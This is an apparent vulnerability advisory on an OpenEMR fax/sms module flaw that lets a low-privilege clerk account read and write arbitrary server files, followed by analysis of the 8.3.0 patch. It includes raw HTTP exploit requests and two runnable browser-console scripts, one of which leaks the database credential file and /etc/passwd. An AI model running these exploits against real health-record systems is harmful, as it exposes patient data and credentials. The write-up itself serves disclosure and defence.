Introduction
A low privilege clerical account in OpenEMR, the kind of login handed to front office staff for checking patient demographics, turned out to be enough to read the database credentials off disk and drop a file onto the server as the web user. For practices running the bundled fax/sms module with RingCentral or SignalWire configured, that path led from a view demographics permission all the way to remote code execution.
OpenEMR is an open source electronic health records and medical practice management system maintained by a community of volunteers under the OpenEMR Foundation, a 501(c)(3) nonprofit. It describes itself as the most popular open source EHR of its kind, and HHS HC3 historically reported it in use by more than 100,000 medical providers serving more than 200 million patients. Because it handles protected health information at that scale, authorization flaws in its document handling carry real weight for the healthcare sector.
Technical Information
The core problem in CVE-2026-124450 is a mismatch between what the request layer authorizes and what the filesystem code trusts, made worse by three copies of the same handler drifting apart over time.
The vulnerable action is reached through interface/modules/custom_modules/oe-module-faxsms/index.php using _ACTION_COMMAND=fax/disposeDocument. The attacker controls the file_path parameter, and the advisory describes separate download and setup branches for reading and writing files. The official weakness classification is CWE-73, External Control of File Name or Path.
Authorization fails before any unsafe file operation
AppDispatch::routeAction enforces only two things: that the action is on an allowlist, and that a valid CSRF token is present. It does not authenticate the caller. The construction time ACL gate defaults to:
aclCheckCore('patients', 'demo')
That permission grants demographic viewing. It is not the patients/docs permission that a document operation should require. Each action is expected to enforce its own authorization by calling an authenticate() method, but the vulnerable clients never do.
Three copies of one handler that drifted apart
In OpenEMR 8.2.0, each fax vendor client carried its own copy of disposeDocument. After the earlier CVE-2026-24848, the EtherFax copy (EtherFaxActions::disposeDocument) was hardened with an ACL check, path containment, an extension allowlist, and an executable content guard. The RingCentral (RCFaxClient) and SignalWire (SignalWireClient) copies received none of these. They took the request parameter directly:
$where = $this->getRequest('file_path');
and passed it straight to sendFile($where) for reads and to file_put_contents($where, ...) for writes, with no authentication, no path containment, no extension validation, and no executable content check.
| Implementation | Protections | Scope |
|---|---|---|
| RCFaxClient::disposeDocument | None of authentication, containment, extension, or content checks | Arbitrary read confirmed live; write reproduction documented |
| SignalWireClient::disposeDocument | Same omissions | Assessed through code review, not separately executed |
| EtherFaxActions::disposeDocument | Authentication, path containment, extension allowlist, executable content checks | Protected reference implementation |
Read and write primitives
For action=download, the supplied path flows through sendFile, decryptFileBytes, and file_get_contents. The decryption helper returns non encrypted input unchanged, so the read is not confined to encrypted fax artifacts. The researcher demonstrated disclosure of sites/default/sqlconf.php, which exposes $login, $pass, $host, and $dbase, and also confirmed access to /etc/passwd.
For action=setup, the supplied content is decoded, processed for filesystem encryption, and written using file_put_contents to the supplied path with no path or extension check. With drive_encryption disabled, the content is written verbatim; code execution follows when the destination is served and executed as PHP by the web server. With encryption enabled, arbitrary overwrite or corruption remains possible.
Attack flow
- Authenticate as any low privilege account holding the
patients/demoACL (a typical clinical or clerical login) against an install where the fax/sms module is active and the vendor is RingCentral or SignalWire. - Mint a
contact-formCSRF token by fetching the fax UI, whose response containslet csrfToken="<hex>". - For reads, issue a GET to the
disposeDocumentdownload branch withfile_pathset to an absolute path such as thesqlconf.phplocation or/etc/passwd. - For writes, POST to the setup branch with a base64
contentpayload and an absolutefile_path, writing a file as the web user.
Two tensions make this instructive. A CSRF token can be valid while authorization is still insufficient, so request validation does not replace permission checks. And encrypted storage can coexist with a dangerous file access primitive, because transforming written bytes does not establish an authorized destination.
Proof of Concept
A working, publicly available PoC exists and has been verified end to end. The OpenEMR GitHub Security Advisory GHSA-wf4w-mx2w-j4vv, authored by reporter 4nt11, publishes full request level reproduction steps and attaches two runnable browser console scripts. The scripts carry headers stating they were confirmed against openemr/openemr:8.2.0 (dated 2026-07-16), reading /etc/passwd and sqlconf.php and demonstrating the write round trip. The write PoC is deliberately non destructive: it writes a benign marker then reads it back.
Preconditions
- FaxSMS module installed and active.
- Active fax vendor is RingCentral (
oefax_enable_fax=1, or SMSoefax_enable_sms=1) producingRCFaxClient, or SignalWire (oefax_enable_fax=6) producingSignalWireClient. - An authenticated session for any role holding
patients/demo. The reporter confirmed both read and write live over HTTPS using a non admin Front Office (clerk) account.
HTTP reproduction from the advisory
Step 1, mint a contact-form CSRF token (authenticated GET; the response contains let csrfToken="<hex>"):
GET /interface/modules/custom_modules/oe-module-faxsms/messageUI.php?type=fax&site=default
Step 2, arbitrary file read (the download branch accepts GET; routing params must be in the query string):
GET /interface/modules/custom_modules/oe-module-faxsms/index.php?type=fax&_ACTION_COMMAND=fax/disposeDocument&action=download&file_path=/var/www/localhost/htdocs/openemr/sites/default/sqlconf.php&csrf_token_form=<token> Cookie: <authenticated session>
The server responds 200 with Content-Disposition: attachment; filename=sqlconf.php and the file body.
Step 3, arbitrary file write (routing in the query string, the rest in the POST body):
POST /interface/modules/custom_modules/oe-module-faxsms/index.php?type=fax&_ACTION_COMMAND=fax/disposeDocument Content-Type: application/x-www-form-urlencoded Cookie: <authenticated session> action=setup&file_path=<absolute target>&content=<base64 payload>&csrf_token_form=<token>
file_put_contents writes to the absolute target with no path or extension check (verbatim content when drive_encryption is off).
Attached browser console PoC, arbitrary read
(async () => { const TARGET = '/var/www/localhost/htdocs/openemr/sites/default/sqlconf.php'; const base = location.origin; const mod = '/interface/modules/custom_modules/oe-module-faxsms'; // 1) mint a valid 'contact-form' CSRF token from the fax UI (uses your real session) const ui = await (await fetch(`${base}${mod}/messageUI.php?type=fax&site=default`, {credentials:'include'})).text(); const m = ui.match(/csrfToken\s*=\s*["']?([a-f0-9]{16,})/); if (!m) { console.error('No token. messageUI body starts:', ui.slice(0,200)); return; } console.log('[+] contact-form token:', m[1]); // 2) EXPLOIT: disposeDocument download branch streams an arbitrary path (routing in query string) const qs = new URLSearchParams({ type:'fax', _ACTION_COMMAND:'fax/disposeDocument', action:'download', file_path: TARGET, csrf_token_form: m[1] }); const res = await fetch(`${base}${mod}/index.php?${qs}`, {credentials:'include'}); const t = await res.text(); console.log('[+] HTTP', res.status, '| content-disposition:', res.headers.get('content-disposition')); console.log('==== LEAKED FILE (' + TARGET + ') ====\n' + t); })();
Attached browser console PoC, arbitrary write (non destructive round trip)
(async () => { const base = location.origin; const mod = '/interface/modules/custom_modules/oe-module-faxsms'; const TARGET = '/var/www/localhost/htdocs/openemr/sites/default/documents/write_proof.txt'; const tok = (await (await fetch(`${base}${mod}/messageUI.php?type=fax&site=default`, {credentials:'include'})).text()) .match(/csrfToken\s*=\s*["']?([a-f0-9]{16,})/)[1]; console.log('[+] token:', tok); const marker = 'ARBITRARY_WRITE_' + Date.now(); // WRITE: routing (_ACTION_COMMAND,type) in query; action/content/file_path/csrf in POST body const wq = new URLSearchParams({type:'fax', _ACTION_COMMAND:'fax/disposeDocument'}); const wbody = new URLSearchParams({action:'setup', content: btoa(marker), file_path: TARGET, csrf_token_form: tok}); const wres = await fetch(`${base}${mod}/index.php?${wq}`, { method:'POST', credentials:'include', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body: wbody}); console.log('[write] HTTP', wres.status, '->', await wres.text()); // READ BACK: prove the exact path now holds our content (decrypted on the way out) const rq = new URLSearchParams({type:'fax', _ACTION_COMMAND:'fax/disposeDocument', action:'download', file_path: TARGET, csrf_token_form: tok}); const back = await (await fetch(`${base}${mod}/index.php?${rq}`, {credentials:'include'})).text(); console.log('[read-back] expected:', marker); console.log('[read-back] actual :', back.trim()); console.log(back.trim() === marker ? '[+] ARBITRARY WRITE CONFIRMED (round-trip match)' : '[!] mismatch, inspect above'); })();
Patch Information
The issue is fixed in OpenEMR 8.3.0, tagged v8_3_0 and published on 2026-08-18. The vendor advisory GHSA-wf4w-mx2w-j4vv lists <8.3.0 as vulnerable and 8.3.0 as patched, and the release notes include it under Security Fixes as a Critical item. The same release also fixes two related reports on the same code path: GHSA-x2vr-jgg8-c57c (RCFaxClient/SignalWireClient disposeDocument file read/write) and GHSA-38jw-pwgq-9hpj (oe-module-faxsms file read/write leading to possible RCE). No single standalone fix commit was found in the public sources; the analysis below compares the vulnerable code described in the advisories with the source shipped at the v8_3_0 tag.
One shared, hardened implementation
Rather than adding guards to each client separately, the patch moves the whole flow into a new trait, FaxDocumentDisposalTrait. In 8.3.0, RCFaxClient no longer defines its own disposeDocument. It now uses FaxDocumentDisposalTrait and implements FaxDocumentDisposalInterface. The trait's docblock states it is shared by every fax vendor client (EtherFax, RingCentral, SignalWire), so there is a single copy that cannot drift. Each request now runs these checks in order.
- Per action authorization. The method rejects the caller with HTTP 403 before reading any path:
if (!$this->authorizeDocumentAccess()) { http_response_code(403); return $this->disposalResponse(['success' => false, 'message' => xlt('Unauthorized')]); } ... protected function authorizeDocumentAccess(): bool { return AclMain::aclCheckCore('patients', 'docs'); }
This replaces the old situation where the only gate was the module wide patients/demo (view demographics) check. A fax file is a patient document, so the patch requires the documents permission.
- Path containment. The
file_pathfrom the request is normalized and must resolve inside the module's temporary base directory ($this->baseDir, whichRCFaxClientsets from thetemporary_files_dirglobal):
$allowedRoot = realpath($this->baseDir) ?: $this->baseDir; $targetPath = $this->normalizePath($where); if (!$this->isPathAllowed($targetPath, $allowedRoot)) { ... http_response_code(403); return $this->disposalResponse(['success' => false, 'message' => xlt('Access denied')]); }
isPathAllowed() runs realpath() on the target, falling back to the parent directory if the file does not exist yet. pathWithinRoot() then compares the result against the root with a trailing separator, so a sibling directory such as <root>_evil that only shares the string prefix is rejected:
$root = rtrim($root, DIRECTORY_SEPARATOR); return $path === $root || str_starts_with($path, $root . DIRECTORY_SEPARATOR);
Absolute paths such as sites/default/sqlconf.php or /etc/passwd fall outside the root, so they never reach sendFile(). The download branch also requires is_file($targetPath).
-
Write hardening (
action=setup). Before anything touches disk: onlypdf,tif,tiff, andtxtextensions are accepted; decoding uses strictbase64_decode($content, true); an executable content guard (containsExecutableCode()) rejects payloads whose first 1 MB matches/<\?(php|=)|<script\b/i; and content is written encrypted to atempnam()file withLOCK_EX, renamed into place, then set tochmod 0660. Together these block the webshell path even wheredrive_encryptionis off. -
Safe failure. A
setupwithout content creates no file, unknown actions returnUnsupported action, and denials are logged throughServiceContainer::getLogger()->warning(...).
Why this design matters
The original reporter noted that the real flaw was per vendor divergence, not one missing line. Patching only RingCentral and SignalWire would have left the same trap for the next vendor added. One trait now holds the authorization and containment logic, so any client that adopts it inherits all the checks.
Scope note
The patch is specific to disposeDocument. The reporter also listed other routable fax/sms actions that skip authenticate(), such as faxProcessUploads, getUser, and getNotificationLog. In the 8.3.0 RCFaxClient.php reviewed, getUser() and getNotificationLog() still do not call authenticate(), which is worth knowing when auditing the module beyond this CVE.
Affected Systems and Versions
- OpenEMR before 8.3.0. The vendor advisory lists
<8.3.0as vulnerable and8.3.0as patched. The detailed report analyzes an 8.2.0 refactor and the attached PoC scripts were confirmed againstopenemr/openemr:8.2.0. - Documented exploitation conditions require: the FaxSMS module installed and active; the active fax vendor set to RingCentral (
oefax_enable_fax=1oroefax_enable_sms=1, producingRCFaxClient) or SignalWire (oefax_enable_fax=6, producingSignalWireClient); and an authenticated session for any role holding thepatients/demoACL. Administrator privileges and the document access permission are not required. - Remote code execution additionally requires
drive_encryptiondisabled and a writable destination that the web server serves and executes as PHP. The EtherFax implementation was already hardened and is not part of the documented exploit path.
Severity is reported as CVSS 3.1 9.9 in the CVE record and CVSS 4.0 9.3 by NVD, the vendor advisory, and VulnCheck. Both classifications are Critical; the figures refer to different scoring versions.
Vendor Security History
OpenEMR has a documented history of file access vulnerabilities. HHS HC3 reported three earlier issues: an unauthenticated file read, an authenticated local file inclusion, and an authenticated reflected XSS. Sonar reported these to OpenEMR on October 24, 2022, and HHS states that version 7.0.0, released November 30, 2022, included the three patches. That case documents both consequential file access weaknesses and a corrective release. The present advisory adds a related lesson: the 8.2.0 refactor left security checks inconsistent across fax vendor implementations even though a protected EtherFax implementation already existed. OpenEMR maintains public security advisories and accepts private reports through GitHub or [email protected], with encrypted email encouraged where possible.
References
- NVD: CVE-2026-124450
- CVE Record: CVE-2026-124450
- OpenEMR GitHub Security Advisory GHSA-wf4w-mx2w-j4vv
- VulnCheck advisory: OpenEMR before 8.3.0 Arbitrary File Read/Write via disposeDocument
- OpenEMR 8.3.0 release (v8_3_0)
- GitHub API: GHSA-wf4w-mx2w-j4vv
- GitHub API: v8_3_0 release
- GitHub API: GHSA-x2vr-jgg8-c57c
- Patched source: FaxDocumentDisposalTrait.php (v8_3_0)
- Patched source: RCFaxClient.php (v8_3_0)
- PoC: arbitrary read console script
- PoC: arbitrary write console script
- Securing OpenEMR, Project Wiki
- OpenEMR security overview
- HHS HC3 Sector Alert: Multiple Vulnerabilities in OpenEMR (January 31, 2023)
- CWE-73: External Control of File Name or Path
- VulDB: CVE-2026-124450


![CVE-2026-119155: Unauthenticated Time-Based SQL Injection in wpForo Forum via href[locale], with Patch Analysis](/_next/image?url=https%3A%2F%2Fstorage.googleapis.com%2Fzeropath-fe-assets%2Fblog-assets%2Fcve-2026-119155.png&w=3840&q=75)
